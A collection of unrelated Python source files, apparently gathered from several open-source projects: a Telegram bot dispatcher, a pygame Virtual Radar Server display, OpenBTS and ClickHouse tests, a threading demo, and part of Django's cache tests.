self.dispatch_error(None, update)
except Exception:
self.logger.exception('An uncaught error was raised while handling the error')
return
for group in self.groups:
try:
for handler in (x for x in self.handlers[group] if x.check_update(update)):
handler.handle_update(update, self)
break
# Stop processing with any other handler.
except DispatcherHandlerStop:
self.logger.debug('Stopping further handlers due to DispatcherHandlerStop')
break
# Dispatch any error.
except TelegramError as te:
self.logger.warning('A TelegramError was raised while processing the Update')
try:
self.dispatch_error(update, te)
except DispatcherHandlerStop:
self.logger.debug('Error handler stopped further handlers')
break
except Exception:
self.logger.exception('An uncaught error was raised while handling the error')
# Errors should not stop the thread.
except Exception:
self.logger.exception('An uncaught error was raised while processing the update')
def add_handler(self, handler, group=DEFAULT_GROUP):
"""Register a handler.
TL;DR: Order and priority counts. 0 or 1 handlers per group will be used.
A handler must be an instance of a subclass of :class:`telegram.ext.Handler`. All handlers
are organized in groups with a numeric value. The default group is 0. All groups will be
evaluated for handling an update, but only 0 or 1 handler per group will be used. If
:class:`telegram.DispatcherHandlerStop` is raised from one of the handlers, no further
handlers (regardless of the group) will be called.
The priority/order of handlers is determined as follows:
* Priority of the group (lower group number == higher priority)
* The first handler in a group which should handle an update (see
:attr:`telegram.ext.Handler.check_update`) will be used. Other handlers from the
group will not be used. The order in which handlers were added to the group defines the
priority.
Args:
handler (:class:`telegram.ext.Handler`): A Handler instance.
group (:obj:`int`, optional): The group identifier. Default is 0.
"""
if not isinstance(handler, Handler):
raise TypeError('handler is not an instance of {0}'.format(Handler.__name__))
if not isinstance(group, int):
raise TypeError('group is not int')
if group not in self.handlers:
self.handlers[group] = list()
self.groups.append(group)
self.groups = sorted(self.groups)
self.handlers[group].append(handler)
def remove_handler(self, handler, group=DEFAULT_GROUP):
"""Remove a handler from the specified group.
Args:
handler (:class:`telegram.ext.Handler`): A Handler instance.
group (:obj:`object`, optional): The group identifier. Default is 0.
"""
if handler in self.handlers[group]:
self.handlers[group].remove(handler)
if not self.handlers[group]:
del self.handlers[group]
self.groups.remove(group)
def add_error_handler(self, callback):
"""Registers an error handler in the Dispatcher.
Args:
callback (:obj:`callable`): A function that takes ``Bot, Update, TelegramError`` as
arguments.
"""
self.error_handlers.append(callback)
def remove_error_handler(self, callback):
"""Removes an error handler.
Args:
callback (:obj:`callable`): The error handler to remove.
"""
if callback in self.error_handlers:
self.error_handlers.remove(callback)
def dispatch_error(self, update, error):
"""Dispatches an error.
Args:
update (:obj:`str` | :class:`telegram.Update` | None): The update that caused the error
error (:class:`telegram.TelegramError`): The Telegram error that was raised.
"""
for callback in self.error_handlers:
callback(self.bot, update, error)
|
vrsdisplay.py
|
import os
import pygame
import time
import random
from threading import Thread
from datetime import datetime
import socket
import fcntl
import struct
import urllib2
import base64
import json
import sys
station="YourStationname" #In my case it is EDDT
url="http://example.com/AircraftList.json" #Enter your VRS-Url
login="on" #Change to "off" if your VRS is public.
username="username" #Only needed if Login=on
password="password" #Only needed if Login=on
querytime=5 #Server Querytime
class pyscope :
screen = None;
def __init__(self):
"Ininitializes a new pygame screen using the framebuffer"
# Based on "Python GUI in Linux frame buffer"
# http://www.karoltomala.com/blog/?p=679
disp_no = os.getenv("DISPLAY")
if disp_no:
print "I'm running under X display = {0}".format(disp_no)
# Check which frame buffer drivers are available
# Start with fbcon since directfb hangs with composite output
drivers = ['fbcon', 'directfb', 'svgalib']
found = False
for driver in drivers:
# Make sure that SDL_VIDEODRIVER is set
if not os.getenv('SDL_VIDEODRIVER'):
os.putenv('SDL_VIDEODRIVER', driver)
try:
pygame.display.init()
except pygame.error:
print 'Driver: {0} failed.'.format(driver)
continue
found = True
break
if not found:
raise Exception('No suitable video driver found!')
size = (pygame.display.Info().current_w, pygame.display.Info().current_h)
print "Framebuffer size: %d x %d" % (size[0], size[1])
self.screen = pygame.display.set_mode(size, pygame.FULLSCREEN)
# Clear the screen to start
self.screen.fill((0, 0, 0))
# Initialise font support
pygame.font.init()
# Render the screen
pygame.display.update()
def __del__(self):
"Destructor to make sure pygame shuts down, etc."
scope = pyscope()
font = pygame.font.Font("digital.ttf", 26)
def readvrs():
while True:
if login == "on":
request=urllib2.Request(url)
base64string=base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
request.add_header("Authorization", "Basic %s" % base64string)
response=urllib2.urlopen(request)
else:
request=urllib2.Request(url)
response=urllib2.urlopen(request)
flights=json.load(response)
global flightscount
flightscount=flights['totalAc']
flieger=flights['acList']
mil_list = list()
mlat_list = list()
heli_list = list()
for each in flieger:
try:
mil_list.append(each['Mil'])
except KeyError:
continue
for each in flieger:
try:
mlat_list.append(each['Mlat'])
except KeyError:
continue
for each in flieger:
try:
heli_list.append(each['Species'])
except KeyError:
continue
global milflights
milflights=mil_list.count(True)
global mlatflights
mlatflights=mlat_list.count(True)
global heliflights
heliflights=heli_list.count(4)
time.sleep(querytime)
t1 = Thread(target = readvrs)
t1.daemon = True
def printvrs():
while True:
if 'flightscount' in globals():
pygame.mouse.set_visible(0)
scope.screen.fill((0, 0, 0))
scope.screen.blit(pygame.image.load('radar.png').convert(), (0, 0))
scope.screen.blit(font.render('Station: %s' %station , True, (255, 255, 255)), (0, 0))
scope.screen.blit(font.render('%s' %time.strftime("%d.%b.%y") , True, (255, 255, 255)), (0, 30))
scope.screen.blit(font.render('%s' %datetime.now().strftime("%H:%M:%S.%f") , True, (255, 255, 255)), (0, 60))
scope.screen.blit(font.render('Aircraft: %s' %flightscount , True, (151,255,255)), (0, 90))
scope.screen.blit(font.render('Military: %s' %milflights , True, (255, 0, 0)), (0, 120))
scope.screen.blit(font.render('Multilateration: %s' %mlatflights , True, (0,255,255)), (0, 150))
scope.screen.blit(font.render('Helicopter: %s' %heliflights , True, (255,215,0)), (0, 180))
scope.screen.blit(font.render('Querytime: %s' %querytime , True, (127, 255, 0)), (0, 210))
scope.screen.blit(pygame.image.load('vrs2.png').convert(), (420, 50))
pygame.display.update()
time.sleep(0.1)
else:
scope.screen.fill((0, 0, 0))
pygame.display.update()
scope.screen.blit(font.render('No data. Please wait.', True, (255, 20, 147)), (200, 200))
pygame.display.update()
time.sleep(1)
scope.screen.fill((0, 0, 0))
pygame.display.update()
scope.screen.blit(font.render('No data. Please wait..', True, (255, 20, 147)), (200, 200))
pygame.display.update()
time.sleep(1)
scope.screen.fill((0, 0, 0))
pygame.display.update()
scope.screen.blit(font.render('No data. Please wait...', True, (255, 20, 147)), (200, 200))
pygame.display.update()
time.sleep(1)
t2 = Thread(target = printvrs)
t2.daemon = True
t1.start()
t2.start()
raw_input ("Hit enter to quit VRS-Display: ")
exit()
|
base_component_tests.py
|
"""openbts.tests.base_component_tests
tests for the base component class
Copyright (c) 2016-present, Facebook, Inc.
All rights reserved.
This source code is licensed under the BSD-style license found in the
LICENSE file in the root directory of this source tree. An additional grant
of patent rights can be found in the PATENTS file in the same directory.
"""
import json
from multiprocessing import Process
import time
import unittest
import zmq
from openbts.core import BaseComponent
from openbts.exceptions import TimeoutError
from openbts.codes import (SuccessCode, ErrorCode)
class BaseComponentTestCase(unittest.TestCase):
"""Testing the core.BaseComponent class.
Contains a simple zmq server with a fixed latency. The simulated latency
allows us to test socket timeout features. The idea is to run the demo
server in another process and then connect through a test client.
"""
# The demo server will wait this many seconds before replying.
RESPONSE_DELAY = 0.1
DEMO_ADDRESS = 'tcp://127.0.0.1:7890'
def zmq_demo_server(self):
"""Run a small zmq testing server."""
context = zmq.Context()
server_socket = context.socket(zmq.REP)
server_socket.bind(self.DEMO_ADDRESS)
server_socket.recv()
response = json.dumps({'code': 200, 'data': 'testing', 'dirty': 0})
# Delay a bit before sending the reply.
time.sleep(self.RESPONSE_DELAY)
server_socket.send(response)
def setUp(self):
"""Setup the zmq test server."""
self.demo_server_process = Process(target=self.zmq_demo_server)
self.demo_server_process.start()
def tearDown(self):
"""Shutdown the demo zmq server."""
self.demo_server_process.terminate()
self.demo_server_process.join()
def test_socket_timeout(self):
"""Base socket should raise a TimeoutError after receiving no reply."""
# The server will delay before sending response so we set the timeout to be
# a bit less than that amount.
component = BaseComponent(socket_timeout=self.RESPONSE_DELAY*0.9)
component.address = self.DEMO_ADDRESS
component.socket.connect(self.DEMO_ADDRESS)
with self.assertRaises(TimeoutError):
component.read_config('sample-key')
|
test.py
|
import logging
import random
import threading
import time
from collections import Counter
import pytest
from helpers.cluster import ClickHouseCluster
cluster = ClickHouseCluster(__file__)
node1 = cluster.add_instance('node1', macros={'cluster': 'test1'}, with_zookeeper=True)
# Check, that limits on max part size for merges doesn`t affect mutations
node2 = cluster.add_instance('node2', macros={'cluster': 'test1'}, main_configs=["configs/merge_tree.xml"],
with_zookeeper=True)
node3 = cluster.add_instance('node3', macros={'cluster': 'test2'}, main_configs=["configs/merge_tree_max_parts.xml"],
with_zookeeper=True)
node4 = cluster.add_instance('node4', macros={'cluster': 'test2'}, main_configs=["configs/merge_tree_max_parts.xml"],
with_zookeeper=True)
node5 = cluster.add_instance('node5', macros={'cluster': 'test3'}, main_configs=["configs/merge_tree_max_parts.xml"])
all_nodes = [node1, node2, node3, node4, node5]
@pytest.fixture(scope="module")
def started_cluster():
try:
cluster.start()
for node in all_nodes:
node.query("DROP TABLE IF EXISTS test_mutations")
for node in [node1, node2, node3, node4]:
node.query("""
CREATE TABLE test_mutations(d Date, x UInt32, i UInt32)
ENGINE ReplicatedMergeTree('/clickhouse/{cluster}/tables/test/test_mutations', '{instance}')
ORDER BY x
PARTITION BY toYYYYMM(d)
SETTINGS number_of_free_entries_in_pool_to_execute_mutation=0
""")
node5.query(
"CREATE TABLE test_mutations(d Date, x UInt32, i UInt32) ENGINE MergeTree() ORDER BY x PARTITION BY toYYYYMM(d)")
yield cluster
finally:
cluster.shutdown()
class Runner:
def __init__(self, nodes):
self.nodes = nodes
self.mtx = threading.Lock()
self.total_inserted_xs = 0
self.total_inserted_rows = 0
self.total_mutations = 0
self.total_deleted_xs = 0
self.total_deleted_rows = 0
self.current_xs = Counter()
self.currently_inserting_xs = Counter()
self.currently_deleting_xs = set()
self.stop_ev = threading.Event()
self.exceptions = []
def do_insert(self, thread_num, partitions_num):
self.stop_ev.wait(random.random())
# Each thread inserts a small random number of rows with random year, month 01 and day determined
# by the thread number. The idea is to avoid spurious duplicates and to insert into a
# nontrivial number of partitions.
month = '01'
day = str(thread_num + 1).zfill(2)
i = 1
while not self.stop_ev.is_set():
xs = [random.randint(1, 10) for _ in range(random.randint(1, 10))]
with self.mtx:
xs = [x for x in xs if x not in self.currently_deleting_xs]
if len(xs) == 0:
continue
for x in xs:
self.currently_inserting_xs[x] += 1
year = 2000 + random.randint(0, partitions_num)
date_str = '{year}-{month}-{day}'.format(year=year, month=month, day=day)
payload = ''
for x in xs:
payload += '{date_str} {x} {i}\n'.format(date_str=date_str, x=x, i=i)
i += 1
try:
logging.debug(f"thread {thread_num}: insert for {date_str}: {xs}")
random.choice(self.nodes).query("INSERT INTO test_mutations FORMAT TSV", payload)
with self.mtx:
for x in xs:
self.current_xs[x] += 1
self.total_inserted_xs += sum(xs)
self.total_inserted_rows += len(xs)
except Exception as e:
logging.debug(f"Exception while inserting: {e}")
self.exceptions.append(e)
finally:
with self.mtx:
for x in xs:
self.currently_inserting_xs[x] -= 1
self.stop_ev.wait(0.2 + random.random() / 5)
def do_delete(self, thread_num):
self.stop_ev.wait(1.0 + random.random())
while not self.stop_ev.is_set():
chosen = False
with self.mtx:
if self.current_xs:
x = random.choice(list(self.current_xs.elements()))
if self.currently_inserting_xs[x] == 0 and x not in self.currently_deleting_xs:
chosen = True
self.currently_deleting_xs.add(x)
to_delete_count = self.current_xs[x]
if not chosen:
self.stop_ev.wait(0.1 * random.random())
continue
try:
logging.debug(f"thread {thread_num}: delete {to_delete_count} * {x}")
random.choice(self.nodes).query("ALTER TABLE test_mutations DELETE WHERE x = {}".format(x))
with self.mtx:
self.total_mutations += 1
self.current_xs[x] -= to_delete_count
self.total_deleted_xs += to_delete_count * x
self.total_deleted_rows += to_delete_count
except Exception as e:
logging.debug(f"Exception while deleting: {e}")
finally:
with self.mtx:
self.currently_deleting_xs.remove(x)
self.stop_ev.wait(1.0 + random.random() * 2)
def wait_for_mutations(nodes, number_of_mutations):
for i in range(100): # wait for replication 80 seconds max
time.sleep(0.8)
def get_done_mutations(node):
return int(node.query("SELECT sum(is_done) FROM system.mutations WHERE table = 'test_mutations'").rstrip())
if all([get_done_mutations(n) == number_of_mutations for n in nodes]):
return True
return False
def test_mutations(started_cluster):
DURATION_SECONDS = 30
nodes = [node1, node2]
runner = Runner(nodes)
threads = []
for thread_num in range(5):
threads.append(threading.Thread(target=runner.do_insert, args=(thread_num, 10)))
for thread_num in (11, 12, 13):
threads.append(threading.Thread(target=runner.do_delete, args=(thread_num,)))
for t in threads:
t.start()
time.sleep(DURATION_SECONDS)
runner.stop_ev.set()
for t in threads:
t.join()
# Sanity check: at least something was inserted and something was deleted
assert runner.total_inserted_rows > 0
assert runner.total_mutations > 0
all_done = wait_for_mutations(nodes, runner.total_mutations)
logging.debug(f"Total mutations: {runner.total_mutations}")
for node in nodes:
logging.debug(node.query(
"SELECT mutation_id, command, parts_to_do, is_done FROM system.mutations WHERE table = 'test_mutations' FORMAT TSVWithNames"))
assert all_done
expected_sum = runner.total_inserted_xs - runner.total_deleted_xs
actual_sums = []
for i, node in enumerate(nodes):
actual_sums.append(int(node.query("SELECT sum(x) FROM test_mutations").rstrip()))
assert actual_sums[i] == expected_sum
@pytest.mark.parametrize(
('nodes',),
[
([node5, ],), # MergeTree
([node3, node4],), # ReplicatedMergeTree
]
)
def test_mutations_dont_prevent_merges(started_cluster, nodes):
for year in range(2000, 2016):
rows = ''
date_str = '{}-01-{}'.format(year, random.randint(1, 10))
for i in range(10):
rows += '{} {} {}\n'.format(date_str, random.randint(1, 10), i)
nodes[0].query("INSERT INTO test_mutations FORMAT TSV", rows)
# will run mutations of 16 parts in parallel, mutations will sleep for about 20 seconds
nodes[0].query("ALTER TABLE test_mutations UPDATE i = sleepEachRow(2) WHERE 1")
runner = Runner(nodes)
threads = []
for thread_num in range(2):
threads.append(threading.Thread(target=runner.do_insert, args=(thread_num, 0)))
# will insert approx 8-10 new parts per 1 second into one partition
for t in threads:
t.start()
all_done = wait_for_mutations(nodes, 1)
runner.stop_ev.set()
for t in threads:
t.join()
for node in nodes:
logging.debug(node.query(
"SELECT mutation_id, command, parts_to_do, is_done FROM system.mutations WHERE table = 'test_mutations' FORMAT TSVWithNames"))
logging.debug(node.query(
"SELECT partition, count(name), sum(active), sum(active*rows) FROM system.parts WHERE table ='test_mutations' GROUP BY partition FORMAT TSVWithNames"))
assert all_done
assert all([str(e).find("Too many parts") < 0 for e in runner.exceptions])
|
demo.py
|
import threading
import time
def communicate(n):
for i in range(n):
print("------ communicate -----")
time.sleep(1)
def accept(n):
for i in range(n):
print("------ accept -----")
time.sleep(1)
def main():
t1 = threading.Thread(target = communicate, args = (3,))
t2 = threading.Thread(target = accept, args = (5,))
t1.start();
t2.start();
print(threading.enumerate())
print("num of threading who is running: %d" % len(threading.enumerate()))
t1.join();
t2.join();
print("----- process over -----")
if __name__ == "__main__":
main()
|
tests.py
|
# Unit tests for cache framework
# Uses whatever cache backend is set in the test settings file.
import copy
import io
import os
import pickle
import re
import shutil
import sys
import tempfile
import threading
import time
import unittest
from pathlib import Path
from unittest import mock, skipIf
from django.conf import settings
from django.core import management, signals
from django.core.cache import (
DEFAULT_CACHE_ALIAS, CacheKeyWarning, InvalidCacheKey, cache, caches,
)
from django.core.cache.backends.base import InvalidCacheBackendError
from django.core.cache.utils import make_template_fragment_key
from django.db import close_old_connections, connection, connections
from django.http import (
HttpRequest, HttpResponse, HttpResponseNotModified, StreamingHttpResponse,
)
from django.middleware.cache import (
CacheMiddleware, FetchFromCacheMiddleware, UpdateCacheMiddleware,
)
from django.middleware.csrf import CsrfViewMiddleware
from django.template import engines
from django.template.context_processors import csrf
from django.template.response import TemplateResponse
from django.test import (
RequestFactory, SimpleTestCase, TestCase, TransactionTestCase,
override_settings,
)
from django.test.signals import setting_changed
from django.utils import timezone, translation
from django.utils.cache import (
get_cache_key, learn_cache_key, patch_cache_control, patch_vary_headers,
)
from django.views.decorators.cache import cache_control, cache_page
from .models import Poll, expensive_calculation
# functions/classes for complex data type tests
def f():
return 42
class C:
def m(n):
return 24
class Unpicklable:
def __getstate__(self):
raise pickle.PickleError()
def empty_response(request):
return HttpResponse()
KEY_ERRORS_WITH_MEMCACHED_MSG = (
'Cache key contains characters that will cause errors if used with '
'memcached: %r'
)
@override_settings(CACHES={
'default': {
'BACKEND': 'django.core.cache.backends.dummy.DummyCache',
}
})
class DummyCacheTests(SimpleTestCase):
# The Dummy cache backend doesn't really behave like a test backend,
# so it has its own test case.
def test_simple(self):
"Dummy cache backend ignores cache set calls"
cache.set("key", "value")
self.assertIsNone(cache.get("key"))
def test_add(self):
"Add doesn't do anything in dummy cache backend"
self.assertIs(cache.add("addkey1", "value"), True)
self.assertIs(cache.add("addkey1", "newvalue"), True)
self.assertIsNone(cache.get("addkey1"))
def test_non_existent(self):
"Nonexistent keys aren't found in the dummy cache backend"
self.assertIsNone(cache.get("does_not_exist"))
self.assertEqual(cache.get("does_not_exist", "bang!"), "bang!")
def test_get_many(self):
"get_many returns nothing for the dummy cache backend"
cache.set_many({'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd'})
self.assertEqual(cache.get_many(['a', 'c', 'd']), {})
self.assertEqual(cache.get_many(['a', 'b', 'e']), {})
def test_get_many_invalid_key(self):
msg = KEY_ERRORS_WITH_MEMCACHED_MSG % ':1:key with spaces'
with self.assertWarnsMessage(CacheKeyWarning, msg):
cache.get_many(['key with spaces'])
def test_delete(self):
"Cache deletion is transparently ignored on the dummy cache backend"
cache.set_many({'key1': 'spam', 'key2': 'eggs'})
self.assertIsNone(cache.get("key1"))
self.assertIs(cache.delete("key1"), False)
self.assertIsNone(cache.get("key1"))
self.assertIsNone(cache.get("key2"))
def test_has_key(self):
"The has_key method doesn't ever return True for the dummy cache backend"
cache.set("hello1", "goodbye1")
self.assertIs(cache.has_key("hello1"), False)
self.assertIs(cache.has_key("goodbye1"), False)
def test_in(self):
"The in operator doesn't ever return True for the dummy cache backend"
cache.set("hello2", "goodbye2")
self.assertNotIn("hello2", cache)
self.assertNotIn("goodbye2", cache)
def test_incr(self):
"Dummy cache values can't be incremented"
cache.set('answer', 42)
with self.assertRaises(ValueError):
cache.incr('answer')
with self.assertRaises(ValueError):
cache.incr('does_not_exist')
def test_decr(self):
"Dummy cache values can't be decremented"
cache.set('answer', 42)
with self.assertRaises(ValueError):
cache.decr('answer')
with self.assertRaises(ValueError):
cache.decr('does_not_exist')
def test_touch(self):
"""Dummy cache can't do touch()."""
self.assertIs(cache.touch('whatever'), False)
def test_data_types(self):
"All data types are ignored equally by the dummy cache"
stuff = {
'string': 'this is a string',
'int': 42,
'list': [1, 2, 3, 4],
'tuple': (1, 2, 3, 4),
'dict': {'A': 1, 'B': 2},
'function': f,
'class': C,
}
cache.set("stuff", stuff)
self.assertIsNone(cache.get("stuff"))
def test_expiration(self):
"Expiration has no effect on the dummy cache"
cache.set('expire1', 'very quickly', 1)
cache.set('expire2', 'very quickly', 1)
cache.set('expire3', 'very quickly', 1)
time.sleep(2)
self.assertIsNone(cache.get("expire1"))
self.assertIs(cache.add("expire2", "newvalue"), True)
self.assertIsNone(cache.get("expire2"))
self.assertIs(cache.has_key("expire3"), False)
def test_unicode(self):
"Unicode values are ignored by the dummy cache"
stuff = {
'ascii': 'ascii_value',
'unicode_ascii': 'Iñtërnâtiônàlizætiøn1',
'Iñtërnâtiônàlizætiøn': 'Iñtërnâtiônàlizætiøn2',
'ascii2': {'x': 1}
}
for (key, value) in stuff.items():
with self.subTest(key=key):
cache.set(key, value)
self.assertIsNone(cache.get(key))
def test_set_many(self):
"set_many does nothing for the dummy cache backend"
self.assertEqual(cache.set_many({'a': 1, 'b': 2}), [])
self.assertEqual(cache.set_many({'a': 1, 'b': 2}, timeout=2, version='1'), [])
def test_set_many_invalid_key(self):
msg = KEY_ERRORS_WITH_MEMCACHED_MSG % ':1:key with spaces'
with self.assertWarnsMessage(CacheKeyWarning, msg):
cache.set_many({'key with spaces': 'foo'})
def test_delete_many(self):
"delete_many does nothing for the dummy cache backend"
cache.delete_many(['a', 'b'])
def test_delete_many_invalid_key(self):
msg = KEY_ERRORS_WITH_MEMCACHED_MSG % ':1:key with spaces'
with self.assertWarnsMessage(CacheKeyWarning, msg):
cache.delete_many({'key with spaces': 'foo'})
def test_clear(self):
"clear does nothing for the dummy cache backend"
cache.clear()
def test_incr_version(self):
"Dummy cache versions can't be incremented"
cache.set('answer', 42)
with self.assertRaises(ValueError):
cache.incr_version('answer')
with self.assertRaises(ValueError):
cache.incr_version('does_not_exist')
def test_decr_version(self):
"Dummy cache versions can't be decremented"
cache.set('answer', 42)
with self.assertRaises(ValueError):
cache.decr_version('answer')
with self.assertRaises(ValueError):
cache.decr_version('does_not_exist')
def test_get_or_set(self):
self.assertEqual(cache.get_or_set('mykey', 'default'), 'default')
self.assertIsNone(cache.get_or_set('mykey', None))
def test_get_or_set_callable(self):
def my_callable():
return 'default'
self.assertEqual(cache.get_or_set('mykey', my_callable), 'default')
self.assertEqual(cache.get_or_set('mykey', my_callable()), 'default')
def custom_key_func(key, key_prefix, version):
"A customized cache key function"
return 'CUSTOM-' + '-'.join([key_prefix, str(version), key])
_caches_setting_base = {
'default': {},
'prefix': {'KEY_PREFIX': 'cacheprefix{}'.format(os.getpid())},
'v2': {'VERSION': 2},
'custom_key': {'KEY_FUNCTION': custom_key_func},
'custom_key2': {'KEY_FUNCTION': 'cache.tests.custom_key_func'},
'cull': {'OPTIONS': {'MAX_ENTRIES': 30}},
'zero_cull': {'OPTIONS': {'CULL_FREQUENCY': 0, 'MAX_ENTRIES': 30}},
}
def caches_setting_for_tests(base=None, exclude=None, **params):
# `base` is used to pull in the memcached config from the original settings,
# `exclude` is a set of cache names denoting which `_caches_setting_base` keys
# should be omitted.
# `params` are test specific overrides and `_caches_settings_base` is the
# base config for the tests.
# This results in the following search order:
# params -> _caches_setting_base -> base
base = base or {}
exclude = exclude or set()
setting = {k: base.copy() for k in _caches_setting_base if k not in exclude}
for key, cache_params in setting.items():
cache_params.update(_caches_setting_base[key])
cache_params.update(params)
return setting
class BaseCacheTests:
# A common set of tests to apply to all cache backends
factory = RequestFactory()
def tearDown(self):
cache.clear()
def test_simple(self):
# Simple cache set/get works
cache.set("key", "value")
self.assertEqual(cache.get("key"), "value")
def test_default_used_when_none_is_set(self):
"""If None is cached, get() returns it instead of the default."""
cache.set('key_default_none', None)
self.assertIsNone(cache.get('key_default_none', default='default'))
def test_add(self):
# A key can be added to a cache
self.assertIs(cache.add("addkey1", "value"), True)
self.assertIs(cache.add("addkey1", "newvalue"), False)
self.assertEqual(cache.get("addkey1"), "value")
def test_prefix(self):
# Test for same cache key conflicts between shared backend
cache.set('somekey', 'value')
# should not be set in the prefixed cache
self.assertIs(caches['prefix'].has_key('somekey'), False)
caches['prefix'].set('somekey', 'value2')
self.assertEqual(cache.get('somekey'), 'value')
self.assertEqual(caches['prefix'].get('somekey'), 'value2')
def test_non_existent(self):
"""Nonexistent cache keys return as None/default."""
self.assertIsNone(cache.get("does_not_exist"))
self.assertEqual(cache.get("does_not_exist", "bang!"), "bang!")
def test_get_many(self):
# Multiple cache keys can be returned using get_many
cache.set_many({'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd'})
self.assertEqual(cache.get_many(['a', 'c', 'd']), {'a': 'a', 'c': 'c', 'd': 'd'})
self.assertEqual(cache.get_many(['a', 'b', 'e']), {'a': 'a', 'b': 'b'})
self.assertEqual(cache.get_many(iter(['a', 'b', 'e'])), {'a': 'a', 'b': 'b'})
def test_delete(self):
# Cache keys can be deleted
cache.set_many({'key1': 'spam', 'key2': 'eggs'})
self.assertEqual(cache.get("key1"), "spam")
self.assertIs(cache.delete("key1"), True)
self.assertIsNone(cache.get("key1"))
self.assertEqual(cache.get("key2"), "eggs")
def test_delete_nonexistent(self):
self.assertIs(cache.delete('nonexistent_key'), False)
def test_has_key(self):
# The cache can be inspected for cache keys
cache.set("hello1", "goodbye1")
self.assertIs(cache.has_key("hello1"), True)
self.assertIs(cache.has_key("goodbye1"), False)
cache.set("no_expiry", "here", None)
self.assertIs(cache.has_key("no_expiry"), True)
def test_in(self):
# The in operator can be used to inspect cache contents
cache.set("hello2", "goodbye2")
self.assertIn("hello2", cache)
self.assertNotIn("goodbye2", cache)
def test_incr(self):
# Cache values can be incremented
cache.set('answer', 41)
self.assertEqual(cache.incr('answer'), 42)
self.assertEqual(cache.get('answer'), 42)
self.assertEqual(cache.incr('answer', 10), 52)
self.assertEqual(cache.get('answer'), 52)
self.assertEqual(cache.incr('answer', -10), 42)
with self.assertRaises(ValueError):
cache.incr('does_not_exist')
def test_decr(self):
# Cache values can be decremented
cache.set('answer', 43)
self.assertEqual(cache.decr('answer'), 42)
self.assertEqual(cache.get('answer'), 42)
self.assertEqual(cache.decr('answer', 10), 32)
self.assertEqual(cache.get('answer'), 32)
self.assertEqual(cache.decr('answer', -10), 42)
with self.assertRaises(ValueError):
cache.decr('does_not_exist')
def test_close(self):
self.assertTrue(hasattr(cache, 'close'))
cache.close()
def test_data_types(self):
# Many different data types can be cached
stuff = {
'string': 'this is a string',
'int': 42,
'list': [1, 2, 3, 4],
'tuple': (1, 2, 3, 4),
'dict': {'A': 1, 'B': 2},
'function': f,
'class': C,
}
cache.set("stuff", stuff)
self.assertEqual(cache.get("stuff"), stuff)
def test_cache_read_for_model_instance(self):
# Don't want fields with callable as default to be called on cache read
expensive_calculation.num_runs = 0
Poll.objects.all().delete()
my_poll = Poll.objects.create(question="Well?")
self.assertEqual(Poll.objects.count(), 1)
pub_date = my_poll.pub_date
cache.set('question', my_poll)
cached_poll = cache.get('question')
self.assertEqual(cached_poll.pub_date, pub_date)
# We only want the default expensive calculation run once
self.assertEqual(expensive_calculation.num_runs, 1)
def test_cache_write_for_model_instance_with_deferred(self):
# Don't want fields with callable as default to be called on cache write
expensive_calculation.num_runs = 0
Poll.objects.all().delete()
Poll.objects.create(question="What?")
self.assertEqual(expensive_calculation.num_runs, 1)
defer_qs = Poll.objects.all().defer('question')
self.assertEqual(defer_qs.count(), 1)
self.assertEqual(expensive_calculation.num_runs, 1)
cache.set('deferred_queryset', defer_qs)
# cache set should not re-evaluate default functions
self.assertEqual(expensive_calculation.num_runs, 1)
def test_cache_read_for_model_instance_with_deferred(self):
# Don't want fields with callable as default to be called on cache read
expensive_calculation.num_runs = 0
Poll.objects.all().delete()
Poll.objects.create(question="What?")
self.assertEqual(expensive_calculation.num_runs, 1)
defer_qs = Poll.objects.all().defer('question')
self.assertEqual(defer_qs.count(), 1)
cache.set('deferred_queryset', defer_qs)
self.assertEqual(expensive_calculation.num_runs, 1)
runs_before_cache_read = expensive_calculation.num_runs
cache.get('deferred_queryset')
# We only want the default expensive calculation run on creation and set
self.assertEqual(expensive_calculation.num_runs, runs_before_cache_read)
def test_expiration(self):
# Cache values can be set to expire
cache.set('expire1', 'very quickly', 1)
cache.set('expire2', 'very quickly', 1)
cache.set('expire3', 'very quickly', 1)
time.sleep(2)
self.assertIsNone(cache.get("expire1"))
self.assertIs(cache.add("expire2", "newvalue"), True)
self.assertEqual(cache.get("expire2"), "newvalue")
self.assertIs(cache.has_key("expire3"), False)
def test_touch(self):
# cache.touch() updates the timeout.
cache.set('expire1', 'very quickly', timeout=1)
self.assertIs(cache.touch('expire1', timeout=4), True)
time.sleep(2)
self.assertIs(cache.has_key('expire1'), True)
time.sleep(3)
self.assertIs(cache.has_key('expire1'), False)
# cache.touch() works without the timeout argument.
cache.set('expire1', 'very quickly', timeout=1)
self.assertIs(cache.touch('expire1'), True)
time.sleep(2)
self.assertIs(cache.has_key('expire1'), True)
self.assertIs(cache.touch('nonexistent'), False)
def test_unicode(self):
# Unicode values can be cached
stuff = {
'ascii': 'ascii_value',
'unicode_ascii': 'Iñtërnâtiônàlizætiøn1',
'Iñtërnâtiônàlizætiøn': 'Iñtërnâtiônàlizætiøn2',
'ascii2': {'x': 1}
}
# Test `set`
for (key, value) in stuff.items():
with self.subTest(key=key):
cache.set(key, value)
self.assertEqual(cache.get(key), value)
# Test `add`
for (key, value) in stuff.items():
with self.subTest(key=key):
self.assertIs(cache.delete(key), True)
self.assertIs(cache.add(key, value), True)
self.assertEqual(cache.get(key), value)
# Test `set_many`
for (key, value) in stuff.items():
self.assertIs(cache.delete(key), True)
cache.set_many(stuff)
for (key, value) in stuff.items():
with self.subTest(key=key):
self.assertEqual(cache.get(key), value)
def test_binary_string(self):
# Binary strings should be cacheable
from zlib import compress, decompress
value = 'value_to_be_compressed'
compressed_value = compress(value.encode())
# Test set
cache.set('binary1', compressed_value)
compressed_result = cache.get('binary1')
self.assertEqual(compressed_value, compressed_result)
self.assertEqual(value, decompress(compressed_result).decode())
# Test add
self.assertIs(cache.add('binary1-add', compressed_value), True)
compressed_result = cache.get('binary1-add')
self.assertEqual(compressed_value, compressed_result)
self.assertEqual(value, decompress(compressed_result).decode())
# Test set_many
cache.set_many({'binary1-set_many': compressed_value})
compressed_result = cache.get('binary1-set_many')
self.assertEqual(compressed_value, compressed_result)
self.assertEqual(value, decompress(compressed_result).decode())
def test_set_many(self):
# Multiple keys can be set using set_many
cache.set_many({"key1": "spam", "key2": "eggs"})
self.assertEqual(cache.get("key1"), "spam")
self.assertEqual(cache.get("key2"), "eggs")
def test_set_many_returns_empty_list_on_success(self):
"""set_many() returns an empty list when all keys are inserted."""
failing_keys = cache.set_many({'key1': 'spam', 'key2': 'eggs'})
self.assertEqual(failing_keys, [])
